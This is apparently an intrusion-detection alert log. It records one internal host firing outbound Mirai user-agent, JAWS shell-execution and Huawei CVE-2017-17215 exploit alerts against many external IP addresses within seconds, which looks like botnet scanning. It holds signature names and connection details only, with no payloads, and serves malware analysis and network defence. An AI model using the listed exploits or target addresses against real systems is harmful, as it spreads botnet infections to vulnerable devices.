2025-01-30T10:43:01.850594+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36320	103.213.214.129	80	TCP
2025-01-30T10:43:02.938607+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	60104	23.12.102.222	80	TCP
2025-01-30T10:43:02.938607+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	60104	23.12.102.222	80	TCP
2025-01-30T10:43:03.179684+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	38638	117.44.222.92	443	TCP
2025-01-30T10:43:03.212617+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	38712	200.209.40.223	80	TCP
2025-01-30T10:43:03.212617+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	38712	200.209.40.223	80	TCP
2025-01-30T10:43:07.988630+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43494	41.46.127.52	37215	TCP
2025-01-30T10:43:09.000586+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58678	71.61.126.160	80	TCP
2025-01-30T10:43:09.000586+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	58678	71.61.126.160	80	TCP
2025-01-30T10:43:12.226942+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	52636	101.69.104.147	80	TCP
2025-01-30T10:43:12.226942+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	52636	101.69.104.147	80	TCP
2025-01-30T10:43:13.801005+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60026	197.8.180.225	37215	TCP
2025-01-30T10:43:15.211961+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54300	117.252.34.247	443	TCP
2025-01-30T10:43:17.069115+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35008	164.92.235.252	80	TCP
2025-01-30T10:43:17.069115+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	35008	164.92.235.252	80	TCP
2025-01-30T10:43:17.261945+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51982	112.29.209.167	80	TCP
2025-01-30T10:43:17.261945+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51982	112.29.209.167	80	TCP
2025-01-30T10:43:19.240663+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57708	156.231.44.228	37215	TCP
2025-01-30T10:43:22.472239+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	57974	133.153.249.33	80	TCP
2025-01-30T10:43:22.472239+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	57974	133.153.249.33	80	TCP
2025-01-30T10:43:22.477129+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54456	73.211.22.163	80	TCP
2025-01-30T10:43:22.477129+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	54456	73.211.22.163	80	TCP
2025-01-30T10:43:22.527598+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	56906	120.23.138.222	80	TCP
2025-01-30T10:43:22.527598+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	56906	120.23.138.222	80	TCP
2025-01-30T10:43:22.532834+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35236	41.221.95.50	37215	TCP
2025-01-30T10:43:22.534050+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	48872	89.9.237.196	80	TCP
2025-01-30T10:43:22.534050+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	48872	89.9.237.196	80	TCP
2025-01-30T10:43:22.583002+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	38736	154.164.115.164	80	TCP
2025-01-30T10:43:22.583002+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	38736	154.164.115.164	80	TCP
2025-01-30T10:43:22.599136+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	56414	124.170.78.40	80	TCP
2025-01-30T10:43:22.599136+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	56414	124.170.78.40	80	TCP
2025-01-30T10:43:22.651334+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54482	130.219.127.143	80	TCP
2025-01-30T10:43:22.651334+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	54482	130.219.127.143	80	TCP
2025-01-30T10:43:22.690246+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37028	196.3.191.224	80	TCP
2025-01-30T10:43:22.690246+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	37028	196.3.191.224	80	TCP
2025-01-30T10:43:22.695971+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33986	70.171.35.104	80	TCP
2025-01-30T10:43:22.695971+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	33986	70.171.35.104	80	TCP
2025-01-30T10:43:22.706073+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33624	198.151.162.206	80	TCP
2025-01-30T10:43:22.706073+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	33624	198.151.162.206	80	TCP
2025-01-30T10:43:22.727093+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50112	149.247.70.10	80	TCP
2025-01-30T10:43:22.727093+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	50112	149.247.70.10	80	TCP
2025-01-30T10:43:22.738923+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	45876	161.80.48.54	80	TCP
2025-01-30T10:43:22.738923+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	45876	161.80.48.54	80	TCP
2025-01-30T10:43:22.739214+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	57840	95.58.145.95	80	TCP
2025-01-30T10:43:22.739214+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	57840	95.58.145.95	80	TCP
2025-01-30T10:43:22.770707+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	48034	14.190.218.71	80	TCP
2025-01-30T10:43:22.770707+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	48034	14.190.218.71	80	TCP
2025-01-30T10:43:22.774352+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50440	90.64.6.63	80	TCP
2025-01-30T10:43:22.774352+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	50440	90.64.6.63	80	TCP
2025-01-30T10:43:22.800468+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	32818	57.162.48.58	80	TCP
2025-01-30T10:43:22.800468+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	32818	57.162.48.58	80	TCP
2025-01-30T10:43:22.802527+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	60270	155.198.4.108	80	TCP
2025-01-30T10:43:22.802527+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	60270	155.198.4.108	80	TCP
2025-01-30T10:43:22.803869+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	56900	76.228.178.139	80	TCP
2025-01-30T10:43:22.803869+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	56900	76.228.178.139	80	TCP
2025-01-30T10:43:22.805489+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	43418	104.250.231.48	80	TCP
2025-01-30T10:43:22.805489+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	43418	104.250.231.48	80	TCP
2025-01-30T10:43:22.985075+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	47488	152.30.184.113	80	TCP
2025-01-30T10:43:22.985075+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	47488	152.30.184.113	80	TCP
2025-01-30T10:43:23.503583+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	42018	72.103.254.195	80	TCP
2025-01-30T10:43:23.503583+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	42018	72.103.254.195	80	TCP
2025-01-30T10:43:23.505478+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46950	17.43.38.50	80	TCP
2025-01-30T10:43:23.505478+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46950	17.43.38.50	80	TCP
2025-01-30T10:43:23.520605+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44864	71.52.157.180	80	TCP
2025-01-30T10:43:23.520605+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44864	71.52.157.180	80	TCP
2025-01-30T10:43:23.553529+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	53886	41.102.78.109	80	TCP
2025-01-30T10:43:23.553529+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	53886	41.102.78.109	80	TCP
2025-01-30T10:43:23.569765+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34110	218.142.171.47	80	TCP
2025-01-30T10:43:23.569765+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34110	218.142.171.47	80	TCP
2025-01-30T10:43:23.600311+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51166	140.69.154.1	80	TCP
2025-01-30T10:43:23.600311+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51166	140.69.154.1	80	TCP
2025-01-30T10:43:23.643580+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	41030	64.30.33.55	80	TCP
2025-01-30T10:43:23.643580+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	41030	64.30.33.55	80	TCP
2025-01-30T10:43:23.678461+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37070	66.84.50.216	80	TCP
2025-01-30T10:43:23.678461+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	37070	66.84.50.216	80	TCP
2025-01-30T10:43:23.723178+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37928	126.245.114.212	80	TCP
2025-01-30T10:43:23.723178+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	37928	126.245.114.212	80	TCP
2025-01-30T10:43:23.730511+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	55542	196.131.224.189	80	TCP
2025-01-30T10:43:23.730511+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	55542	196.131.224.189	80	TCP
2025-01-30T10:43:23.757082+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	32880	63.179.229.61	80	TCP
2025-01-30T10:43:23.757082+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	32880	63.179.229.61	80	TCP
2025-01-30T10:43:23.765160+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49872	59.7.81.28	80	TCP
2025-01-30T10:43:23.765160+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49872	59.7.81.28	80	TCP
2025-01-30T10:43:23.801878+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	45982	20.190.13.119	80	TCP
2025-01-30T10:43:23.801878+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	45982	20.190.13.119	80	TCP
2025-01-30T10:43:23.802036+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	41712	107.102.56.208	80	TCP
2025-01-30T10:43:23.802036+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	41712	107.102.56.208	80	TCP
2025-01-30T10:43:23.815217+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58598	109.161.22.103	80	TCP
2025-01-30T10:43:23.815217+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	58598	109.161.22.103	80	TCP
2025-01-30T10:43:23.836491+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	57588	192.36.128.195	80	TCP
2025-01-30T10:43:23.836491+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	57588	192.36.128.195	80	TCP
2025-01-30T10:43:23.838641+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	38984	8.228.23.204	80	TCP
2025-01-30T10:43:23.838641+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	38984	8.228.23.204	80	TCP
2025-01-30T10:43:24.032537+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58990	156.242.124.75	37215	TCP
2025-01-30T10:43:24.455979+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34680	156.153.93.40	37215	TCP
2025-01-30T10:43:24.471469+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39394	156.140.48.212	37215	TCP
2025-01-30T10:43:24.472216+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42412	41.239.226.175	37215	TCP
2025-01-30T10:43:24.491083+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51996	156.1.171.213	37215	TCP
2025-01-30T10:43:24.520620+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35920	156.63.240.57	37215	TCP
2025-01-30T10:43:24.598754+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	43082	196.67.103.186	80	TCP
2025-01-30T10:43:24.598754+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	43082	196.67.103.186	80	TCP
2025-01-30T10:43:24.599489+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	45324	161.25.237.43	80	TCP
2025-01-30T10:43:24.599489+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	45324	161.25.237.43	80	TCP
2025-01-30T10:43:25.520480+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51474	41.51.110.42	37215	TCP
2025-01-30T10:43:25.520625+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34998	202.122.36.255	80	TCP
2025-01-30T10:43:25.520625+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34998	202.122.36.255	80	TCP
2025-01-30T10:43:25.522409+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44396	41.40.143.60	37215	TCP
2025-01-30T10:43:25.522697+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47634	41.47.143.151	37215	TCP
2025-01-30T10:43:25.554029+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	53248	101.30.234.47	80	TCP
2025-01-30T10:43:25.554029+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	53248	101.30.234.47	80	TCP
2025-01-30T10:43:25.581758+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37920	167.95.37.105	80	TCP
2025-01-30T10:43:25.581758+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	37920	167.95.37.105	80	TCP
2025-01-30T10:43:25.582895+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	41936	202.158.129.118	80	TCP
2025-01-30T10:43:25.582895+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	41936	202.158.129.118	80	TCP
2025-01-30T10:43:25.614536+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	60116	13.31.53.69	80	TCP
2025-01-30T10:43:25.614536+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	60116	13.31.53.69	80	TCP
2025-01-30T10:43:25.676485+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	40142	124.155.57.184	80	TCP
2025-01-30T10:43:25.676485+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	40142	124.155.57.184	80	TCP
2025-01-30T10:43:25.678352+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	52798	18.170.17.66	80	TCP
2025-01-30T10:43:25.678352+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	52798	18.170.17.66	80	TCP
2025-01-30T10:43:25.768454+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33274	202.243.9.93	80	TCP
2025-01-30T10:43:25.768454+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	33274	202.243.9.93	80	TCP
2025-01-30T10:43:25.770576+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44670	206.244.102.161	80	TCP
2025-01-30T10:43:25.770576+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44670	206.244.102.161	80	TCP
2025-01-30T10:43:25.785754+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	45120	119.27.8.73	80	TCP
2025-01-30T10:43:25.785754+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	45120	119.27.8.73	80	TCP
2025-01-30T10:43:25.802231+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51028	135.121.243.76	80	TCP
2025-01-30T10:43:25.802231+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51028	135.121.243.76	80	TCP
2025-01-30T10:43:25.815630+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	39098	91.92.249.234	80	TCP
2025-01-30T10:43:25.815630+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	39098	91.92.249.234	80	TCP
2025-01-30T10:43:25.848194+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	41976	32.243.4.33	80	TCP
2025-01-30T10:43:25.848194+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	41976	32.243.4.33	80	TCP
2025-01-30T10:43:25.850335+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49098	219.124.101.191	80	TCP
2025-01-30T10:43:25.850335+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49098	219.124.101.191	80	TCP
2025-01-30T10:43:25.901481+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34930	50.174.166.7	80	TCP
2025-01-30T10:43:25.901481+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34930	50.174.166.7	80	TCP
2025-01-30T10:43:26.447815+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	40154	103.172.236.139	80	TCP
2025-01-30T10:43:26.447815+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	40154	103.172.236.139	80	TCP
2025-01-30T10:43:26.488942+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33328	197.71.120.86	37215	TCP
2025-01-30T10:43:26.550098+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43292	156.223.162.115	37215	TCP
2025-01-30T10:43:26.551407+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41084	156.12.1.123	37215	TCP
2025-01-30T10:43:26.566301+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55226	41.88.128.241	37215	TCP
2025-01-30T10:43:26.598796+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60000	41.63.44.18	37215	TCP
2025-01-30T10:43:27.487338+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41240	156.225.22.253	37215	TCP
2025-01-30T10:43:27.487339+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58744	41.180.130.242	37215	TCP
2025-01-30T10:43:27.487845+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39370	41.99.242.230	37215	TCP
2025-01-30T10:43:27.503074+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35772	197.191.245.38	37215	TCP
2025-01-30T10:43:27.504919+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49802	156.46.13.57	37215	TCP
2025-01-30T10:43:27.504923+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36896	197.103.208.53	37215	TCP
2025-01-30T10:43:27.518698+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36912	41.158.143.19	37215	TCP
2025-01-30T10:43:27.518713+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52392	197.182.19.162	37215	TCP
2025-01-30T10:43:27.522375+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37734	156.244.153.180	37215	TCP
2025-01-30T10:43:27.524393+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42848	41.175.68.121	37215	TCP
2025-01-30T10:43:27.524802+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43722	197.50.34.79	37215	TCP
2025-01-30T10:43:27.524878+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36088	197.171.102.195	37215	TCP
2025-01-30T10:43:27.526221+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52950	156.55.180.225	37215	TCP
2025-01-30T10:43:27.583035+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34772	156.134.211.68	37215	TCP
2025-01-30T10:43:27.598385+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52606	156.107.19.155	37215	TCP
2025-01-30T10:43:27.598970+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46706	197.24.241.187	37215	TCP
2025-01-30T10:43:28.549915+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46392	41.227.124.233	37215	TCP
2025-01-30T10:43:28.792874+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51598	211.63.227.161	80	TCP
2025-01-30T10:43:28.792874+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51598	211.63.227.161	80	TCP
2025-01-30T10:43:28.897372+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	56316	86.228.157.254	80	TCP
2025-01-30T10:43:28.897372+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	56316	86.228.157.254	80	TCP
2025-01-30T10:43:28.937458+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33456	113.2.250.15	80	TCP
2025-01-30T10:43:28.937458+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	33456	113.2.250.15	80	TCP
2025-01-30T10:43:28.942224+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46994	164.58.176.234	80	TCP
2025-01-30T10:43:28.942224+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46994	164.58.176.234	80	TCP
2025-01-30T10:43:29.497036+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50534	137.132.80.203	80	TCP
2025-01-30T10:43:29.497036+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	50534	137.132.80.203	80	TCP
2025-01-30T10:43:29.565647+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35230	156.159.35.207	37215	TCP
2025-01-30T10:43:29.581014+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57704	156.148.227.108	37215	TCP
2025-01-30T10:43:29.581066+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55780	41.228.115.4	37215	TCP
2025-01-30T10:43:29.583073+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42168	41.114.15.245	37215	TCP
2025-01-30T10:43:29.601442+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32802	197.184.43.108	37215	TCP
2025-01-30T10:43:29.893638+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	57600	46.194.105.28	80	TCP
2025-01-30T10:43:29.893638+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	57600	46.194.105.28	80	TCP
2025-01-30T10:43:29.893758+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33700	213.166.156.152	80	TCP
2025-01-30T10:43:29.893758+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	33700	213.166.156.152	80	TCP
2025-01-30T10:43:29.893786+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44592	82.95.255.220	80	TCP
2025-01-30T10:43:29.893786+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44592	82.95.255.220	80	TCP
2025-01-30T10:43:29.893860+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34748	40.39.22.91	80	TCP
2025-01-30T10:43:29.893860+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34748	40.39.22.91	80	TCP
2025-01-30T10:43:29.893874+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	39344	106.111.211.33	80	TCP
